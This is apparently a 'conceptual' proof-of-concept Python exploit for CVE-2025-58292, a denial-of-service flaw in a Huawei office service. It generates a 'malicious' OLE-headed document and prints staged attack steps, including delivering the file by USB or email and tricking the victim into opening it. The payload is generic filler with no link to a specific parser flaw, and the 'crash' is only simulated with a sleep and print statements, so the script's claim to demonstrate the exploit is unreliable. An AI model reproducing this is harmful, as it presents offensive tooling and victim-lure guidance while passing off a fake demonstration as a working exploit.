CVE-2025-58292 华为办公服务拒绝服务漏洞

# CVE-2025-58292 - Huawei Office Service DoS Vulnerability PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the attack pattern. # The actual exploit requires local access to the target Huawei device. import os import sys import time import struct import socket import threading def generate_malicious_document(): """ Generate a malformed document file that triggers the DoS vulnerability in the Huawei office service when opened by the user. """ # Simulated malformed office document header # Real exploit would craft a document that triggers resource exhaustion # in the office service parser/renderer malformed_header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # OLE compound document signature # Append crafted payload designed to cause excessive memory allocation # or infinite loop in the office service processing logic payload = b"\x00" * 4096 for i in range(10000): # Nested object references that may cause stack overflow # or recursive processing in the vulnerable office service payload += struct.pack("<I", i % 256) * 1024 malicious_doc = malformed_header + payload with open("malicious_office_doc.ole", "wb") as f: f.write(malicious_doc) print(f"[+] Malicious document generated: malicious_office_doc.ole ({len(malicious_doc)} bytes)") return malicious_doc def trigger_dos_local(): """ Simulate the local DoS trigger by attempting to exhaust office service resources. In a real scenario, this would involve: 1. Delivering the malicious document to the victim device 2. Tricking the user into opening it with Huawei office software 3. The office service processes the malformed content and crashes/hangs """ print("[*] CVE-2025-58292 PoC - Huawei Office Service DoS") print("[*] Attack Vector: Local (AV:L)") print("[*] User Interaction: Required (UI:R)") print("[*] Impact: Availability - Low (A:L)") print() # Step 1: Generate the malicious document print("[Step 1] Generating malicious office document...") doc = generate_malicious_document() # Step 2: Simulate delivery to target device (via USB, email, etc.) print("[Step 2] Malicious document ready for delivery to target device") print(" Delivery methods: USB transfer, email attachment, file sharing") # Step 3: Wait for user interaction print("[Step 3] Waiting for user to open the malicious document...") print(" User must open the file with Huawei Office application") # Step 4: Simulate service crash/hang print("[Step 4] Office service processes malformed content...") time.sleep(1) print("[!] Office service becomes unresponsive or crashes") print("[!] DoS condition achieved - availability impacted") if __name__ == "__main__": trigger_dos_local()